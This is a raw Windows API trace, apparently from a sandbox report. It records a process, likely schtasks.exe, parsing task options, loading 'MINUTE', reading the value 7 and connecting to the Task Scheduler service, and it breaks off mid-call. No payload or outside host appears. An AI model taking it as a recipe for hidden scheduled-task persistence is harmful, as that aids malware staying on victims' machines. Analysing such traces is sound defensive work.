[0072.332] lstrlenW (lpString="|f|") returned 3 [0072.332] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0072.332] SetLastError (dwErrCode=0x490) [0072.332] lstrlenW (lpString="u") returned 1 [0072.332] lstrlenW (lpString="u") returned 1 [0072.332] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.333] lstrlenW (lpString="f") returned 1 [0072.333] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.333] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|u|") returned 3 [0072.333] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.333] lstrlenW (lpString="|u|") returned 3 [0072.333] lstrlenW (lpString="|f|") returned 3 [0072.333] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0072.333] SetLastError (dwErrCode=0x490) [0072.333] lstrlenW (lpString="p") returned 1 [0072.333] lstrlenW (lpString="p") returned 1 [0072.333] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.333] lstrlenW (lpString="f") returned 1 [0072.333] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.333] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|p|") returned 3 [0072.333] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.333] lstrlenW (lpString="|p|") returned 3 [0072.333] lstrlenW (lpString="|f|") returned 3 [0072.333] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0072.333] SetLastError (dwErrCode=0x490) [0072.333] lstrlenW (lpString="ru") returned 2 [0072.333] lstrlenW (lpString="ru") returned 2 [0072.333] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.333] lstrlenW (lpString="f") returned 1 [0072.333] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.333] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|ru|") returned 4 [0072.334] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.334] lstrlenW (lpString="|ru|") returned 4 [0072.334] lstrlenW (lpString="|f|") returned 3 [0072.334] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0072.334] SetLastError (dwErrCode=0x490) [0072.334] lstrlenW (lpString="rp") returned 2 [0072.334] lstrlenW (lpString="rp") returned 2 [0072.334] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.334] lstrlenW (lpString="f") returned 1 [0072.334] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.334] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|rp|") returned 4 [0072.334] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.334] lstrlenW (lpString="|rp|") returned 4 [0072.334] lstrlenW (lpString="|f|") returned 3 [0072.334] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0072.334] SetLastError (dwErrCode=0x490) [0072.334] lstrlenW (lpString="sc") returned 2 [0072.334] lstrlenW (lpString="sc") returned 2 [0072.334] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.334] lstrlenW (lpString="f") returned 1 [0072.334] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.334] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|sc|") returned 4 [0072.334] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.334] lstrlenW (lpString="|sc|") returned 4 [0072.334] lstrlenW (lpString="|f|") returned 3 [0072.334] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0072.334] SetLastError (dwErrCode=0x490) [0072.334] lstrlenW (lpString="mo") returned 2 [0072.334] lstrlenW (lpString="mo") returned 2 [0072.335] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.335] lstrlenW (lpString="f") returned 1 [0072.335] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.335] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|mo|") returned 4 [0072.335] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.335] lstrlenW (lpString="|mo|") returned 4 [0072.335] lstrlenW (lpString="|f|") returned 3 [0072.335] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0072.335] SetLastError (dwErrCode=0x490) [0072.335] lstrlenW (lpString="d") returned 1 [0072.335] lstrlenW (lpString="d") returned 1 [0072.335] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.335] lstrlenW (lpString="f") returned 1 [0072.335] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.335] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|d|") returned 3 [0072.335] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.335] lstrlenW (lpString="|d|") returned 3 [0072.335] lstrlenW (lpString="|f|") returned 3 [0072.335] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0072.335] SetLastError (dwErrCode=0x490) [0072.335] lstrlenW (lpString="m") returned 1 [0072.335] lstrlenW (lpString="m") returned 1 [0072.335] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.335] lstrlenW (lpString="f") returned 1 [0072.336] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.336] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|m|") returned 3 [0072.336] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.336] lstrlenW (lpString="|m|") returned 3 [0072.336] lstrlenW (lpString="|f|") returned 3 [0072.336] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0072.336] SetLastError (dwErrCode=0x490) [0072.336] lstrlenW (lpString="i") returned 1 [0072.336] lstrlenW (lpString="i") returned 1 [0072.336] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.336] lstrlenW (lpString="f") returned 1 [0072.336] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.336] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|i|") returned 3 [0072.336] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.336] lstrlenW (lpString="|i|") returned 3 [0072.336] lstrlenW (lpString="|f|") returned 3 [0072.336] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0072.336] SetLastError (dwErrCode=0x490) [0072.336] lstrlenW (lpString="tn") returned 2 [0072.336] lstrlenW (lpString="tn") returned 2 [0072.336] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.336] lstrlenW (lpString="f") returned 1 [0072.336] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.336] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tn|") returned 4 [0072.336] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.337] lstrlenW (lpString="|tn|") returned 4 [0072.337] lstrlenW (lpString="|f|") returned 3 [0072.337] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0072.337] SetLastError (dwErrCode=0x490) [0072.337] lstrlenW (lpString="tr") returned 2 [0072.337] lstrlenW (lpString="tr") returned 2 [0072.337] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.337] lstrlenW (lpString="f") returned 1 [0072.337] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.337] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|tr|") returned 4 [0072.337] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.337] lstrlenW (lpString="|tr|") returned 4 [0072.337] lstrlenW (lpString="|f|") returned 3 [0072.337] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0072.337] SetLastError (dwErrCode=0x490) [0072.337] lstrlenW (lpString="st") returned 2 [0072.337] lstrlenW (lpString="st") returned 2 [0072.337] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.337] lstrlenW (lpString="f") returned 1 [0072.337] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.337] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|st|") returned 4 [0072.337] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.337] lstrlenW (lpString="|st|") returned 4 [0072.337] lstrlenW (lpString="|f|") returned 3 [0072.337] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0072.337] SetLastError (dwErrCode=0x490) [0072.338] lstrlenW (lpString="sd") returned 2 [0072.338] lstrlenW (lpString="sd") returned 2 [0072.338] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.338] lstrlenW (lpString="f") returned 1 [0072.338] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.338] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|sd|") returned 4 [0072.338] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.338] lstrlenW (lpString="|sd|") returned 4 [0072.338] lstrlenW (lpString="|f|") returned 3 [0072.338] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0072.338] SetLastError (dwErrCode=0x490) [0072.338] lstrlenW (lpString="ed") returned 2 [0072.338] lstrlenW (lpString="ed") returned 2 [0072.338] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.338] lstrlenW (lpString="f") returned 1 [0072.338] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.338] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|ed|") returned 4 [0072.338] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.338] lstrlenW (lpString="|ed|") returned 4 [0072.338] lstrlenW (lpString="|f|") returned 3 [0072.338] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0072.338] SetLastError (dwErrCode=0x490) [0072.338] lstrlenW (lpString="it") returned 2 [0072.338] lstrlenW (lpString="it") returned 2 [0072.338] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.339] lstrlenW (lpString="f") returned 1 [0072.339] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.339] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|it|") returned 4 [0072.339] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.339] lstrlenW (lpString="|it|") returned 4 [0072.339] lstrlenW (lpString="|f|") returned 3 [0072.339] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0072.339] SetLastError (dwErrCode=0x490) [0072.339] lstrlenW (lpString="et") returned 2 [0072.339] lstrlenW (lpString="et") returned 2 [0072.339] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.339] lstrlenW (lpString="f") returned 1 [0072.339] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.339] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|et|") returned 4 [0072.339] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.339] lstrlenW (lpString="|et|") returned 4 [0072.339] lstrlenW (lpString="|f|") returned 3 [0072.339] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0072.339] SetLastError (dwErrCode=0x490) [0072.339] lstrlenW (lpString="k") returned 1 [0072.339] lstrlenW (lpString="k") returned 1 [0072.339] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.339] lstrlenW (lpString="f") returned 1 [0072.340] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.340] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|k|") returned 3 [0072.340] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.340] lstrlenW (lpString="|k|") returned 3 [0072.340] lstrlenW (lpString="|f|") returned 3 [0072.340] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0072.340] SetLastError (dwErrCode=0x490) [0072.340] lstrlenW (lpString="du") returned 2 [0072.340] lstrlenW (lpString="du") returned 2 [0072.340] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.340] lstrlenW (lpString="f") returned 1 [0072.340] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.340] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|du|") returned 4 [0072.340] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.340] lstrlenW (lpString="|du|") returned 4 [0072.340] lstrlenW (lpString="|f|") returned 3 [0072.340] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0072.340] SetLastError (dwErrCode=0x490) [0072.340] lstrlenW (lpString="ri") returned 2 [0072.340] lstrlenW (lpString="ri") returned 2 [0072.340] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.340] lstrlenW (lpString="f") returned 1 [0072.340] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.340] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|ri|") returned 4 [0072.341] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.341] lstrlenW (lpString="|ri|") returned 4 [0072.341] lstrlenW (lpString="|f|") returned 3 [0072.341] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0072.341] SetLastError (dwErrCode=0x490) [0072.341] lstrlenW (lpString="z") returned 1 [0072.341] lstrlenW (lpString="z") returned 1 [0072.341] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.341] lstrlenW (lpString="f") returned 1 [0072.341] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.341] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|z|") returned 3 [0072.341] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.341] lstrlenW (lpString="|z|") returned 3 [0072.341] lstrlenW (lpString="|f|") returned 3 [0072.341] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0072.341] SetLastError (dwErrCode=0x490) [0072.341] lstrlenW (lpString="f") returned 1 [0072.341] lstrlenW (lpString="f") returned 1 [0072.341] _memicmp (_Buf1=0x7c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.341] lstrlenW (lpString="f") returned 1 [0072.341] _memicmp (_Buf1=0x7c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.341] _vsnwprintf (in: _Buffer=0x7c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.341] _vsnwprintf (in: _Buffer=0x7c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c728 | out: _Buffer="|f|") returned 3 [0072.341] lstrlenW (lpString="|f|") returned 3 [0072.341] lstrlenW (lpString="|f|") returned 3 [0072.342] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0072.342] SetLastError (dwErrCode=0x0) [0072.342] SetLastError (dwErrCode=0x0) [0072.342] GetProcessHeap () returned 0x60000 [0072.342] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ceb0 [0072.342] _memicmp (_Buf1=0x7bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.342] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x7d440, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0072.342] lstrlenW (lpString="MINUTE") returned 6 [0072.342] GetProcessHeap () returned 0x60000 [0072.342] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xe) returned 0x7d700 [0072.342] GetThreadLocale () returned 0x409 [0072.342] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0072.342] SetLastError (dwErrCode=0x0) [0072.342] GetProcessHeap () returned 0x60000 [0072.342] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x1fc) returned 0x7c4f0 [0072.342] GetProcessHeap () returned 0x60000 [0072.342] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ce80 [0072.342] _memicmp (_Buf1=0x7bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.342] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x7d440, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0072.342] lstrlenW (lpString="First") returned 5 [0072.342] GetProcessHeap () returned 0x60000 [0072.343] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xc) returned 0x7d720 [0072.343] GetProcessHeap () returned 0x60000 [0072.343] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ce50 [0072.343] _memicmp (_Buf1=0x7bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.343] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x7d440, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0072.343] lstrlenW (lpString="Second") returned 6 [0072.343] GetProcessHeap () returned 0x60000 [0072.343] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xe) returned 0x7d740 [0072.343] GetProcessHeap () returned 0x60000 [0072.343] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7ce20 [0072.343] _memicmp (_Buf1=0x7bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.343] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x7d440, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0072.343] lstrlenW (lpString="Third") returned 5 [0072.343] GetProcessHeap () returned 0x60000 [0072.343] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xc) returned 0x7d760 [0072.343] GetProcessHeap () returned 0x60000 [0072.343] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cdf0 [0072.343] _memicmp (_Buf1=0x7bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.343] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x7d440, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0072.343] lstrlenW (lpString="Fourth") returned 6 [0072.343] GetProcessHeap () returned 0x60000 [0072.343] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xe) returned 0x7d780 [0072.343] GetProcessHeap () returned 0x60000 [0072.343] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cdc0 [0072.343] _memicmp (_Buf1=0x7bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.343] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x7d440, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0072.344] lstrlenW (lpString="Last") returned 4 [0072.344] GetProcessHeap () returned 0x60000 [0072.344] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xa) returned 0x7d7a0 [0072.344] lstrlenW (lpString="7") returned 1 [0072.344] _wtol (_String="7") returned 7 [0072.344] GetProcessHeap () returned 0x60000 [0072.344] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x20) returned 0x7cd90 [0072.344] _memicmp (_Buf1=0x7bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.344] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x7d440, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0072.344] lstrlenW (lpString="First") returned 5 [0072.344] GetProcessHeap () returned 0x60000 [0072.344] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xc) returned 0x7d7c0 [0072.344] _memicmp (_Buf1=0x7bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.344] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x7d440, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0072.344] lstrlenW (lpString="Second") returned 6 [0072.344] GetProcessHeap () returned 0x60000 [0072.344] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0xe) returned 0x7d7e0 [0072.344] _memicmp (_Buf1=0x7bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.344] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x7d440, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0072.344] lstrlenW (lpString="Third") returned 5 [0072.344] _memicmp (_Buf1=0x7bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.344] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x7d440, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0072.344] lstrlenW (lpString="Fourth") returned 6 [0072.345] _memicmp (_Buf1=0x7bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.345] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x7d440, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0072.345] lstrlenW (lpString="Last") returned 4 [0072.345] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x25c5a0, cchData=128 | out: lpLCData="0") returned 2 [0072.345] _memicmp (_Buf1=0x7bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.345] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x7d440, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0072.345] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0072.345] GetProcessHeap () returned 0x60000 [0072.345] GetProcessHeap () returned 0x60000 [0072.345] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d720) returned 1 [0072.345] GetProcessHeap () returned 0x60000 [0072.345] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d720) returned 0xc [0072.345] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d720 | out: hHeap=0x60000) returned 1 [0072.345] GetProcessHeap () returned 0x60000 [0072.345] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x16) returned 0x7d720 [0072.346] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x25c5c0, cchData=128 | out: lpLCData="0") returned 2 [0072.346] _memicmp (_Buf1=0x7bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.346] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x7d440, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0072.346] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0072.346] GetProcessHeap () returned 0x60000 [0072.346] GetProcessHeap () returned 0x60000 [0072.346] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d740) returned 1 [0072.346] GetProcessHeap () returned 0x60000 [0072.346] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d740) returned 0xe [0072.346] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d740 | out: hHeap=0x60000) returned 1 [0072.346] GetProcessHeap () returned 0x60000 [0072.346] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x16) returned 0x7d740 [0072.346] GetLocalTime (in: lpSystemTime=0x25c7f0 | out: lpSystemTime=0x25c7f0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x38, wMilliseconds=0x2ca)) [0072.346] lstrlenW (lpString="") returned 0 [0072.346] GetLocalTime (in: lpSystemTime=0x25d0a8 | out: lpSystemTime=0x25d0a8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x38, wMilliseconds=0x2ca)) [0072.346] lstrlenW (lpString="") returned 0 [0072.346] lstrlenW (lpString="") returned 0 [0072.346] lstrlenW (lpString="") returned 0 [0072.346] lstrlenW (lpString="") returned 0 [0072.346] lstrlenW (lpString="7") returned 1 [0072.347] _wtol (_String="7") returned 7 [0072.347] lstrlenW (lpString="") returned 0 [0072.347] lstrlenW (lpString="") returned 0 [0072.347] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0072.366] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0072.429] CoCreateInstance (in: rclsid=0xff9d1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff9d1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x25ce70 | out: ppv=0x25ce70*=0x35dee0) returned 0x0 [0072.440] TaskScheduler:ITaskService:Connect (This=0x35dee0, serverName=0x25cf50*(varType=0x8, wReserved1=0x25, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x25cf10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, 